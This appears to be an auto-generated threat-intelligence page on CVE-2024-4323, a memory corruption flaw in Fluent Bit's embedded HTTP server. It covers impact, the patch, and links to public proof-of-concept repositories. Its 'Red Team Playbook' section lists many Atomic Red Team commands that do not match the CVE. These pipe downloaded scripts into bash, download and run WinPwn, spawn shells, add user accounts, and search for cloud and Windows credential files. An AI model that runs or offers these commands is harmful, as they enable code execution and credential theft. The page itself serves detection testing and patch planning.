CVE-2024-4323
Overview
This vulnerability is a memory corruption flaw rooted in improper parsing within the embedded HTTP server of Fluent Bit. Specifically, it arises from unsafe handling of trace request inputs, leading to heap-based buffer overflows or out-of-bounds memory access. The affected component is the HTTP server module responsible for processing trace requests in Fluent Bit versions 2.0.7 through 3.0.3.
Vulnerability Description
A memory corruption vulnerability in Fluent Bit versions 2.0.7 thru 3.0.3. This issue lies in the embedded http server’s parsing of trace requests and may result in denial of service conditions, information disclosure, or remote code execution.
Impact
An unauthenticated attacker with network access to the embedded HTTP server can exploit this vulnerability to cause denial of service, disclose sensitive information, or achieve remote code execution. The attack requires no user interaction or privileges (AV:N/AC:L/PR:N/UI:N), enabling high-impact consequences such as service disruption, data compromise, or full system takeover. This severely affects business continuity and data confidentiality in environments running vulnerable Fluent Bit versions.
Solution
Users should upgrade Fluent Bit to versions later than 3.0.3 where the vulnerability is patched, as detailed in the vendor's advisory at https://tenable.com/security/research/tra-2024-17. The fix is included in the commit 9311b43a258352797af40749ab31a63c32acfd04 on the official Fluent Bit GitHub repository. No alternative workarounds are documented; applying the vendor-supplied patch or upgrading to a fixed release is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The memory corruption vulnerability in Fluent Bit, a widely used open-source data collector and log processor, poses significant risks due to its presence in versions 2.0.7 through 3.0.3. This flaw is rooted in the embedded HTTP server's handling of trace requests, where improper parsing can lead to unpredictable behavior. Memory corruption vulnerabilities typically allow attackers to manipulate the memory of an application, potentially leading to unauthorized access or control over the affected system. In this case, the consequences can manifest as denial of service, information disclosure, or even remote code execution, making it a critical concern for organizations relying on this tool for log management and data processing.
Attack vectors exploiting this vulnerability can be diverse and sophisticated. An attacker could initiate a crafted HTTP request targeting the embedded server, specifically designed to trigger the memory corruption flaw. By sending malformed trace requests, the attacker may cause the application to crash, leading to denial of service. More concerning is the potential for remote code execution, where an attacker could gain control over the server running Fluent Bit, executing arbitrary code with the same privileges as the application. This scenario could allow for lateral movement within a network, data exfiltration, or further exploitation of connected systems, amplifying the threat landscape.
The real-world impact of this vulnerability is substantial, particularly for organizations that utilize Fluent Bit in production environments. Given its role in aggregating and processing logs, a successful exploit could lead to significant operational disruptions. Denial of service conditions could prevent critical logging functions, hindering incident response and forensic analysis. Furthermore, information disclosure could expose sensitive data, such as user credentials or configuration details, potentially leading to further attacks. The risk of remote code execution escalates the threat, as attackers could leverage compromised systems to infiltrate deeper into the network, posing a severe business risk that could result in financial loss, reputational damage, and regulatory penalties.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating Fluent Bit to the latest stable version is crucial, as software vendors typically release patches to address known vulnerabilities. Implementing network segmentation can limit the exposure of the embedded HTTP server to untrusted networks, reducing the attack surface. Additionally, monitoring logs for unusual patterns or unauthorized access attempts can help identify potential exploitation attempts. Employing intrusion detection systems (IDS) can further enhance security by alerting administrators to suspicious activities. Organizations should also conduct regular security assessments and vulnerability scans to ensure that their systems remain resilient against emerging threats.
In conclusion, the memory corruption vulnerability in Fluent Bit represents a critical security concern that necessitates immediate attention from organizations utilizing this tool. The potential for denial of service, information disclosure, and remote code execution underscores the need for proactive security measures. By implementing robust detection and mitigation strategies, organizations can safeguard their systems and maintain the integrity of their data processing workflows, ultimately reducing the risk associated with this vulnerability.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-4323, coinciding with the emergence of new proof-of-concept exploits publicly available on GitHub. Our telemetry indicates a sharp increase in detection activity related to the vulnerable Fluent Bit HTTP server’s trace request parsing, signaling that threat actors are actively testing and potentially weaponizing this memory corruption flaw. Although the EPSS score remains stable, the presence of multiple exploit variants and the rapid dissemination of exploit code significantly elevate the practical risk to organizations running affected Fluent Bit versions. This development underscores a heightened threat environment where the likelihood of successful denial of service, information disclosure, or remote code execution attacks has increased, necessitating heightened vigilance in monitoring and response efforts.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Treasuredata | Fluent Bit | All |
cpe:2.3:a:treasuredata:fluent_bit:*:*:*:*:*:*:*:*
|
|
|
Treasuredata | Fluent Bit | All |
cpe:2.3:a:treasuredata:fluent_bit:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
skilfoy/CVE-2024-4323-Exploit-POC
This proof-of-concept script demonstrates how to exploit CVE-2024-4323, a memory corruption vulnerability in Fluent Bit,...
|
skilfoy | 15 | 4 | 2024-05-20 | View |
|
d0rb/CVE-2024-4323
Critical heap buffer overflow vulnerability in the handle_trace_request and parse_trace_request functions of the Fluent ...
|
d0rb | 1 | 0 | 2024-05-21 | View |
|
yuansec/CVE-2024-4323-dos_poc
|
yuansec | 0 | 0 | 2024-05-22 | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4323 |
| tenable.com |
GitHub CVE
|
https://tenable.com/security/research/tra-2024-17 |
| github.com |
GitHub CVE
|
https://github.com/fluent/fluent-bit/commit/9311b43a258352797af40749ab31a63c32acfd04 |
| vicarius.io |
NVD API
Exploit
Third Party Advisory
|
https://www.vicarius.io/vsociety/posts/linguistic-lumberjack-memory-corruption-in-fluent-bit-cve-2024-4323 |